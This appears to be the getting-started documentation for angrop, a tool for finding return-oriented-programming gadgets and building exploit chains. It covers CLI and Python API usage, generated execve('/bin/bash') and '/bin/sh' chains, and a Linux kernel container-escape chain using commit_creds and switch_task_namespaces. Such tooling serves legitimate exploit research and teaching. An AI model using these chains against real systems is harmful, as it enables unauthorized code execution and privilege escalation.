Getting Started with angrop
This guide will walk you through using angrop to find gadgets and build ROP chains. We’ll cover both the command-line interface and the Python API.
Using the CLI
The angrop-cli command provides quick access to basic gadget finding and chain building.
Finding Gadgets
To dump all gadgets in a binary:
0x11735: true : adc bl, byte ptr [rbx + 0x4c] ; mov eax, esp ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret
0x10eaa: true : adc eax, 0x12469 ; add rsp, 0x38 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0xe026: true : adc eax, 0xcec8 ; pop rbx ; cmove rax, rdx ; pop r12 ; pop rbp ; ret
0xdfd4: true : adc eax, 0xcf18 ; pop rbx ; cmove rax, rdx ; pop r12 ; pop rbp ; ret
...
The true/false indicator shows whether the gadget is self-contained (doesn’t depend on previous register state).
Building Predefined Chains
Generate an execve chain:
angrop-cli chain -t execve /bin/bash
code_base = 0x 0
chain = b ""
chain += p64(code_base + 0x 36083 ) # pop rax; pop rbx; pop rbp; ret
chain += p64(code_base + 0x 30016 ) # add rsp, 8; ret
chain += p64(code_base + 0x 34873 )
chain += p64(code_base + 0x 0 )
chain += p64(code_base + 0x 9616d ) # mov edx, ebp; mov rsi, r12; mov rdi, rbx; call rax
chain += p64(code_base + 0x e501e ) # pop rsi; ret 0
chain += p64(code_base + 0x 0 )
chain += p64(code_base + 0x 31470 ) # execve@plt
chain += p64( 0x 0 )
chain += p64(code_base + 0x 10d5bf )
You can copy this output directly into your exploit!
Using the Python API
The Python API provides much more power and flexibility. Here’s how to use it.
Basic Setup
Import and create project
import angr
import angrop
# Load the binary
p = angr.Project( "/bin/ls" )
# Initialize ROP analysis
rop = p.analyses.ROP()
Find gadgets
# Find all ROP gadgets in the binary
rop.find_gadgets()
This will show a progress bar while finding gadgets using multiple processes.
Build a chain
# Set register values
chain = rop.set_regs( rax = 0x 41414141 , rbx = 0x 42424242 )
# Print the payload
chain.print_payload_code()
Complete Example
Here’s a complete working example:
import angr
import angrop
# Load binary
p = angr.Project( "/bin/ls" )
# Initialize ROP analysis
rop = p.analyses.ROP()
# Find gadgets (shows progress bar)
rop.find_gadgets()
# Build a chain to set registers
chain = rop.set_regs( rax = 0x 41414141 , rbx = 0x 42424242 )
# Print the chain as Python code
chain.print_payload_code()
code_base = 0x 0
chain = b ""
chain += p64(code_base + 0x f5e2 ) # pop rbx; pop r12; test eax, eax; pop rbp; cmovs eax, edx; ret
chain += p64( 0x 42424242 )
chain += p64( 0x 0 )
chain += p64( 0x 0 )
chain += p64(code_base + 0x 812f ) # pop rsi; pop rbp; ret
chain += p64( 0x 41414141 )
chain += p64( 0x 0 )
chain += p64(code_base + 0x 169dd ) # mov rax, rsi; ret
chain += p64(code_base + 0x 10a55 )
Common Chain Building Patterns
Setting Registers
# Set multiple registers at once
chain = rop.set_regs( rax = 0x 1337 , rbx = 0x 56565656 )
Moving Registers
# Move value from one register to another
chain = rop.move_regs( rax = 'rdx' )
Writing to Memory
# Write a string to memory
chain = rop.write_to_mem( 0x 61b100 , b "/bin/sh \0 " )
Calling Functions
# Call a function with arguments
chain = rop.func_call( "read" , [ 0 , 0x 804f000 , 0x 100 ])
Invoking Syscalls
# Invoke a syscall with arguments
chain = rop.do_syscall( 0 , [ 0 , 0x 41414141 , 0x 100 ], needs_return = False )
Generating execve Chains
# Generate an execve("/bin/sh", NULL, NULL) chain
chain = rop.execve()
Chaining Operations
You can chain multiple operations together using +:
chain = (
rop.write_to_mem( 0x 61b100 , b "/bin/sh \0 " ) +
rop.set_regs( rax = 59 , rdi = 0x 61b100 , rsi = 0 , rdx = 0 ) +
rop.do_syscall( 59 , [ 0x 61b100 , 0 , 0 ])
)
Debugging Chains
Use pp() to pretty-print a chain for debugging:
chain = rop.set_regs( rax = 0x 1337 , rbx = 0x 5656 )
chain.pp()
0x0000000000034573: pop rcx; ret
0x61b0f8
0x000000000004a1dd: pop rdi; mov edx, 0x89480002; ret
0x68732f6e69622f
0x00000000000d5a94: mov qword ptr [rcx + 8], rdi; ret
<BV64 next_pc_1081_64>
Configuration Options
Customize the ROP analysis with configuration options:
rop = p.analyses.ROP(
only_check_near_rets = True , # Only check blocks near returns (faster)
max_block_size = 20 , # Maximum basic block size to consider
fast_mode = True , # Skip complex gadgets for speed
kernel_mode = False # Set True for kernel binaries
)
fast_mode defaults to None, which automatically decides based on binary size. For large binaries, it enables fast mode to skip gadgets with conditional branches, floating point operations, and jumps.
Bad Bytes
Avoid bad bytes in your chain:
# Avoid null bytes and newlines
rop.set_badbytes([ 0x 0 , 0x 0a ])
# All subsequent chains will avoid these bytes
chain = rop.set_regs( rax = 0x 1337 )
Advanced Example: Kernel Exploitation
Here’s a real-world example for Linux kernel container escape:
import angr
import angrop
# Load kernel image
proj = angr.Project( "./vmlinux_sym" )
# Configure for kernel mode
rop = proj.analyses.ROP(
fast_mode = False ,
only_check_near_rets = False ,
max_block_size = 12 ,
kernel_mode = True
)
# Find gadgets
rop.find_gadgets()
# Build container escape chain
init_cred = 0x ffffffff8368b220
init_nsproxy = 0x ffffffff8368ad00
chain = (
rop.func_call( "commit_creds" , [init_cred]) +
rop.func_call( "find_task_by_vpid" , [ 1 ]) +
rop.move_regs( rdi = 'rax' ) +
rop.set_regs( rsi = init_nsproxy, preserve_regs = { 'rdi' }) +
rop.func_call( "switch_task_namespaces" , [], preserve_regs = { 'rdi' , 'rsi' }) +
rop.func_call( '__x64_sys_fork' , []) +
rop.func_call( 'msleep' , [ 0x ffffffff ])
)
chain.print_payload_code()
Use Caching # Save gadgets for reuse
rop.save_gadgets( "/tmp/gadget_cache" )
# Load them later
rop.load_gadgets( "/tmp/gadget_cache" )
Adjust Process Count # Use more processes for faster finding
rop.find_gadgets( processes = 16 )
Optimize After Finding # Skip optimization during finding
rop.find_gadgets( optimize = False )
# Optimize separately
rop.optimize( processes = 16 )
Use Fast Mode # Enable fast mode for large binaries
rop = p.analyses.ROP( fast_mode = True )
Next Steps
Now that you know the basics: